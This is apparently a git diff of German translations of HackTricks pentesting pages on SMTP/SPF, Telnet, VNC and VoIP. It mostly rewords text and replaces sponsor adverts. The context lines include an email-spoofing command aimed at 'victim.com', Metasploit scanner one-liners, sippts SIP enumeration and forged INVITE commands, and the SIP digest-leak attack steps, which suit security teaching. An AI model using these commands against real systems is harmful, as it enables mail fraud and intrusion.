| adkim | Ausrichtungsmodus für DKIM | adkim=s |
|
||||
| aspf | Ausrichtungsmodus für SPF | aspf=r |
|
||||
| ruf | Reporting-URI für forensische Berichte | ruf=mailto:authfail@example.com |
|
||||
| rua | Reporting-URI von aggregierten Berichten | rua=mailto:aggrep@example.com |
|
||||
| p | Richtlinie für die organisatorische Domain | p=quarantine |
|
||||
| sp | Richtlinie für Subdomains der OD | sp=reject |
|
||||
| adkim | Ausrichtungsmodus für DKIM | adkim=s |
|
||||
| aspf | Ausrichtungsmodus für SPF | aspf=r |
|
||||
|
||||
### **Was ist mit Subdomains?**
|
||||
|
||||
**Von** [**hier**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
|
||||
Sie müssen separate SPF-Einträge für jede Subdomain haben, von der Sie E-Mails senden möchten.\
|
||||
Das Folgende wurde ursprünglich auf openspf.org veröffentlicht, das früher eine großartige Ressource für diese Art von Dingen war.
|
||||
Das Folgende wurde ursprünglich auf openspf.org veröffentlicht, das früher eine großartige Ressource für diese Art von Informationen war.
|
||||
|
||||
> Die Demon-Frage: Was ist mit Subdomains?
|
||||
> Die Dämonenfrage: Was ist mit Subdomains?
|
||||
>
|
||||
> Wenn ich E-Mails von pielovers.demon.co.uk erhalte und es keine SPF-Daten für pielovers gibt, sollte ich dann eine Ebene zurückgehen und SPF für demon.co.uk testen? Nein. Jede Subdomain bei Demon ist ein anderer Kunde, und jeder Kunde könnte seine eigene Richtlinie haben. Es wäre nicht sinnvoll, dass die Richtlinie von Demon standardmäßig für alle seine Kunden gilt; wenn Demon das möchte, kann es SPF-Einträge für jede Subdomain einrichten.
|
||||
> Wenn ich eine E-Mail von pielovers.demon.co.uk erhalte und es keine SPF-Daten für pielovers gibt, sollte ich dann eine Ebene zurückgehen und SPF für demon.co.uk testen? Nein. Jede Subdomain bei Demon ist ein anderer Kunde, und jeder Kunde könnte seine eigene Richtlinie haben. Es wäre nicht sinnvoll, dass die Richtlinie von Demon standardmäßig für alle seine Kunden gilt; wenn Demon das möchte, kann es SPF-Einträge für jede Subdomain einrichten.
|
||||
>
|
||||
> Daher lautet der Rat an SPF-Publisher: Sie sollten einen SPF-Eintrag für jede Subdomain oder jeden Hostnamen hinzufügen, der einen A- oder MX-Eintrag hat.
|
||||
> Daher ist der Rat an SPF-Publisher: Sie sollten einen SPF-Eintrag für jede Subdomain oder jeden Hostnamen hinzufügen, der einen A- oder MX-Eintrag hat.
|
||||
>
|
||||
> Websites mit Wildcard-A- oder MX-Einträgen sollten auch einen Wildcard-SPF-Eintrag in der Form haben: \* IN TXT "v=spf1 -all"
|
||||
> Seiten mit Wildcard-A- oder MX-Einträgen sollten auch einen Wildcard-SPF-Eintrag in der Form haben: \* IN TXT "v=spf1 -all"
|
||||
|
||||
Das macht Sinn - eine Subdomain kann sich sehr wohl an einem anderen geografischen Standort befinden und eine sehr unterschiedliche SPF-Definition haben.
|
||||
|
||||
|
@ -409,7 +413,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TE
|
|||
```
|
||||
{% hint style="warning" %}
|
||||
Wenn Sie einen **Fehler bei der Verwendung der dkim Python-Bibliothek** beim Parsen des Schlüssels erhalten, können Sie diesen folgenden verwenden.\
|
||||
**HINWEIS**: Dies ist nur ein schneller, unsauberer Fix, um schnelle Überprüfungen in Fällen durchzuführen, in denen aus irgendeinem Grund der openssl private Schlüssel **nicht von dkim geparst werden kann**.
|
||||
**HINWEIS**: Dies ist nur ein schmutziger Fix, um schnelle Überprüfungen in Fällen durchzuführen, in denen aus irgendeinem Grund der openssl private key **nicht von dkim geparst werden kann**.
|
||||
```
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
|
||||
|
@ -585,7 +589,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu knacken und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Sicherheitsanfälligkeiten mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und nutzen Sie automatisierte Exploits, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -10,21 +10,23 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führe einen vollständigen Pentest von überall mit 20+ Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Erhalte die Perspektive eines Hackers auf deine Webanwendungen, dein Netzwerk und die Cloud
|
||||
|
||||
**Finde und melde kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Nutze unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die dir erlauben, Privilegien zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die deine harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
**Befehle von:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
|
||||
|
||||
**HELO**\
|
||||
Es ist der erste SMTP-Befehl: Er beginnt das Gespräch, indem er den sendenden Server identifiziert und wird normalerweise von seinem Domainnamen gefolgt.
|
||||
Es ist der erste SMTP-Befehl: Er beginnt das Gespräch, indem er den sendenden Server identifiziert und wird normalerweise von seinem Domänennamen gefolgt.
|
||||
|
||||
**EHLO**\
|
||||
Ein alternativer Befehl, um das Gespräch zu beginnen, der darauf hinweist, dass der Server das erweiterte SMTP-Protokoll verwendet.
|
||||
|
@ -64,7 +66,9 @@ Es beendet das SMTP-Gespräch.
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führe einen vollständigen Pentest von überall mit 20+ Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Erhalte die Perspektive eines Hackers auf deine Webanwendungen, dein Netzwerk und die Cloud
|
||||
|
||||
**Finde und melde kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Nutze unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die dir erlauben, Privilegien zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die deine harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -78,7 +82,7 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,27 +1,29 @@
|
|||
# 23 - Pentesting Telnet
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbarer Setup für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit 20+ Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## **Grundinformationen**
|
||||
## **Basic Information**
|
||||
|
||||
Telnet ist ein Netzwerkprotokoll, das Benutzern eine unsichere Möglichkeit bietet, über ein Netzwerk auf einen Computer zuzugreifen.
|
||||
|
||||
|
@ -87,7 +89,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu knacken und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und nutzen Sie automatisierte Exploits, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -1,23 +1,29 @@
|
|||
# 5800,5801,5900,5901 - Pentesting VNC
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
**Virtual Network Computing (VNC)** ist ein robustes grafisches Desktop-Sharing-System, das das **Remote Frame Buffer (RFB)**-Protokoll verwendet, um die Fernsteuerung und Zusammenarbeit mit einem anderen Computer zu ermöglichen. Mit VNC können Benutzer nahtlos mit einem entfernten Computer interagieren, indem sie Tastatur- und Mausereignisse bidirektional übertragen. Dies ermöglicht den Echtzeitzugriff und erleichtert effiziente Fernunterstützung oder Zusammenarbeit über ein Netzwerk.
|
||||
**Virtual Network Computing (VNC)** ist ein robustes grafisches Desktop-Sharing-System, das das **Remote Frame Buffer (RFB)**-Protokoll verwendet, um die Fernsteuerung und Zusammenarbeit mit einem anderen Computer zu ermöglichen. Mit VNC können Benutzer nahtlos mit einem Remote-Computer interagieren, indem sie Tastatur- und Mausereignisse bidirektional übertragen. Dies ermöglicht den Echtzeitzugriff und erleichtert effiziente Fernunterstützung oder Zusammenarbeit über ein Netzwerk.
|
||||
|
||||
VNC verwendet normalerweise die Ports **5800 oder 5801 oder 5900 oder 5901.**
|
||||
```
|
||||
|
@ -54,6 +60,12 @@ Ich speichere das Tool hier auch zur einfacheren Zugänglichkeit:
|
|||
|
||||
* `port:5900 RFB`
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,6 +15,14 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und Ihre Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Privilegien zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## VoIP Grundinformationen
|
||||
|
||||
Um zu lernen, wie VoIP funktioniert, überprüfen Sie:
|
||||
|
@ -188,11 +196,11 @@ intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
|
|||
# FreePBX
|
||||
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
|
||||
```
|
||||
### OSINT-Informationen
|
||||
### OSINT Informationen
|
||||
|
||||
Jede andere OSINT-Erhebung, die hilft, die verwendete VoIP-Software zu identifizieren, wird für ein Red Team hilfreich sein.
|
||||
|
||||
### Netzwerkerhebung
|
||||
### Netzwerk-Erhebung
|
||||
|
||||
* **`nmap`** ist in der Lage, UDP-Dienste zu scannen, aber aufgrund der Anzahl der gescannten UDP-Dienste ist es sehr langsam und möglicherweise nicht sehr genau bei dieser Art von Diensten.
|
||||
```bash
|
||||
|
@ -226,7 +234,7 @@ Die PBX könnte auch andere Netzwerkdienste wie folgt bereitstellen:
|
|||
|
||||
* **69/UDP (TFTP)**: Firmware-Updates
|
||||
* **80 (HTTP) / 443 (HTTPS)**: Um das Gerät über das Web zu verwalten
|
||||
* **389 (LDAP)**: Alternative zur Speicherung der Benutzerinformationen
|
||||
* **389 (LDAP)**: Alternative zur Speicherung der Benutzerdaten
|
||||
* **3306 (MySQL)**: MySQL-Datenbank
|
||||
* **5038 (Manager)**: Ermöglicht die Nutzung von Asterisk von anderen Plattformen
|
||||
* **5222 (XMPP)**: Nachrichten über Jabber
|
||||
|
@ -235,13 +243,13 @@ Die PBX könnte auch andere Netzwerkdienste wie folgt bereitstellen:
|
|||
|
||||
### Methoden-Enumeration
|
||||
|
||||
Es ist möglich, **welche Methoden verfügbar sind** zur Nutzung in der PBX mit `SIPPTS enumerate` von [**sippts**](https://github.com/Pepelux/sippts) zu finden.
|
||||
Es ist möglich, **welche Methoden verfügbar sind** zur Verwendung in der PBX mit `SIPPTS enumerate` von [**sippts**](https://github.com/Pepelux/sippts) zu finden.
|
||||
```bash
|
||||
sippts enumerate -i 10.10.0.10
|
||||
```
|
||||
### Analysieren von Serverantworten
|
||||
|
||||
Es ist sehr wichtig, die Header zu analysieren, die ein Server uns zurücksendet, abhängig von der Art der Nachricht und der Header, die wir senden. Mit `SIPPTS send` von [**sippts**](https://github.com/Pepelux/sippts) können wir personalisierte Nachrichten senden, alle Header manipulieren und die Antwort analysieren.
|
||||
Es ist sehr wichtig, die Header zu analysieren, die ein Server uns zurücksendet, abhängig von der Art der Nachricht und den Headern, die wir senden. Mit `SIPPTS send` von [**sippts**](https://github.com/Pepelux/sippts) können wir personalisierte Nachrichten senden, alle Header manipulieren und die Antwort analysieren.
|
||||
```bash
|
||||
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
|
||||
```
|
||||
|
@ -332,7 +340,7 @@ sippts tshark -f capture.pcap [-filter auth]
|
|||
```
|
||||
#### DTMF-Codes
|
||||
|
||||
**Nicht nur SIP-Anmeldeinformationen** können im Netzwerkverkehr gefunden werden, es ist auch möglich, DTMF-Codes zu finden, die beispielsweise verwendet werden, um auf die **Voicemail** zuzugreifen.\
|
||||
**Nicht nur SIP-Anmeldeinformationen** können im Netzwerkverkehr gefunden werden, es ist auch möglich, DTMF-Codes zu finden, die beispielsweise verwendet werden, um auf die **Sprachnachricht** zuzugreifen.\
|
||||
Es ist möglich, diese Codes in **INFO SIP-Nachrichten**, in **Audio** oder innerhalb von **RTP-Paketen** zu senden. Wenn die Codes in RTP-Paketen enthalten sind, könnten Sie diesen Teil des Gesprächs ausschneiden und das Tool multimo verwenden, um sie zu extrahieren:
|
||||
```bash
|
||||
multimon -a DTMF -t wac pin.wav
|
||||
|
@ -344,7 +352,7 @@ In Asterisk ist es möglich, eine Verbindung **von einer bestimmten IP-Adresse**
|
|||
host=10.10.10.10
|
||||
host=dynamic
|
||||
```
|
||||
Wenn eine IP-Adresse angegeben ist, muss der Host **keine REGISTER**-Anfragen von Zeit zu Zeit senden (im REGISTER-Paket wird die Lebensdauer gesendet, normalerweise 30 Minuten, was bedeutet, dass das Telefon in einem anderen Szenario alle 30 Minuten REGISTRIEREN muss). Es müssen jedoch offene Ports vorhanden sein, die Verbindungen vom VoIP-Server zu Anrufen zulassen.
|
||||
Wenn eine IP-Adresse angegeben ist, muss der Host **keine REGISTER**-Anfragen von Zeit zu Zeit senden (im REGISTER-Paket wird die Lebensdauer angegeben, normalerweise 30 Minuten, was bedeutet, dass das Telefon in einem anderen Szenario alle 30 Minuten REGISTRIEREN muss). Es müssen jedoch offene Ports vorhanden sein, die Verbindungen vom VoIP-Server für Anrufe zulassen.
|
||||
|
||||
Um Benutzer zu definieren, können sie wie folgt definiert werden:
|
||||
|
||||
|
@ -359,7 +367,7 @@ Es ist auch möglich, Vertrauen mit der unsicheren Variable herzustellen:
|
|||
* **`insecure=port,invite`**: Beides.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Wenn **`type=friend`** verwendet wird, wird der **Wert** der **Host**-Variablen **nicht verwendet**, sodass ein Administrator, der einen SIP-Trunk mit diesem Wert **falsch konfiguriert**, **von jedem verbunden werden kann**.
|
||||
Wenn **`type=friend`** verwendet wird, wird der **Wert** der **Host**-Variable **nicht verwendet**, sodass ein Administrator, der einen SIP-Trunk mit diesem Wert **falsch konfiguriert**, **von jedem verbunden werden kann**.
|
||||
|
||||
Zum Beispiel wäre diese Konfiguration anfällig:\
|
||||
`host=10.10.10.10`\
|
||||
|
@ -382,14 +390,14 @@ exten => 100,1,Answer()
|
|||
exten => 100,n,Playback(welcome)
|
||||
exten => 100,n,Hangup()
|
||||
```
|
||||
Dieses Beispiel demonstriert einen einfachen Kontext namens "my\_context" mit einer Erweiterung "100". Wenn jemand 100 wählt, wird der Anruf entgegengenommen, eine Willkommensnachricht abgespielt und dann wird der Anruf beendet.
|
||||
Dieses Beispiel demonstriert einen einfachen Kontext namens "my\_context" mit einer Erweiterung "100". Wenn jemand 100 wählt, wird der Anruf angenommen, eine Willkommensnachricht abgespielt und dann wird der Anruf beendet.
|
||||
|
||||
Dies ist **ein weiterer Kontext**, der es ermöglicht, **eine andere Nummer anzurufen**:
|
||||
```scss
|
||||
[external]
|
||||
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
|
||||
```
|
||||
Wenn der Administrator den **Standardkontext** definiert als:
|
||||
Wenn der Administrator den **Standardkontext** wie folgt definiert:
|
||||
```
|
||||
[default]
|
||||
include => my_context
|
||||
|
@ -424,7 +432,7 @@ IVRS steht für **Interactive Voice Response System**, eine Telefontechnologie,
|
|||
IVRS in VoIP-Systemen besteht typischerweise aus:
|
||||
|
||||
1. **Sprachansagen**: Vorgefertigte Audio-Nachrichten, die Benutzer durch die IVR-Menüoptionen und Anweisungen führen.
|
||||
2. **DTMF** (Dual-Tone Multi-Frequency) Signalisierung: Tastenanschläge, die durch Drücken von Tasten am Telefon erzeugt werden und zur Navigation durch die IVR-Menüs und zur Eingabe verwendet werden.
|
||||
2. **DTMF** (Dual-Tone Multi-Frequency) Signalisierung: Tastenanschläge, die durch Drücken von Tasten am Telefon erzeugt werden und zur Navigation durch die IVR-Menüs und zur Bereitstellung von Eingaben verwendet werden.
|
||||
3. **Anrufweiterleitung**: Weiterleitung von Anrufen an das entsprechende Ziel, wie z.B. spezifische Abteilungen, Agenten oder Durchwahlen basierend auf Benutzereingaben.
|
||||
4. **Erfassung von Benutzereingaben**: Sammlung von Informationen von Anrufern, wie z.B. Kontonummern, Fall-IDs oder andere relevante Daten.
|
||||
5. **Integration mit externen Systemen**: Verbindung des IVR-Systems mit Datenbanken oder anderen Software-Systemen, um Informationen abzurufen oder zu aktualisieren, Aktionen auszuführen oder Ereignisse auszulösen.
|
||||
|
@ -466,11 +474,11 @@ Die SIP Digest Leak ist eine Schwachstelle, die eine große Anzahl von SIP-Telef
|
|||
|
||||
1. Ein IP-Telefon (Opfer) hört auf einem beliebigen Port (zum Beispiel: 5060) und akzeptiert Anrufe
|
||||
2. Der Angreifer sendet eine INVITE an das IP-Telefon
|
||||
3. Das Opfertelefon beginnt zu klingeln und jemand hebt ab und legt auf (weil niemand den Anruf am anderen Ende beantwortet)
|
||||
3. Das Opfertelefon beginnt zu klingeln und jemand hebt ab und legt auf (weil niemand das Telefon am anderen Ende beantwortet)
|
||||
4. Wenn das Telefon aufgelegt wird, sendet das **Opfertelefon ein BYE an den Angreifer**
|
||||
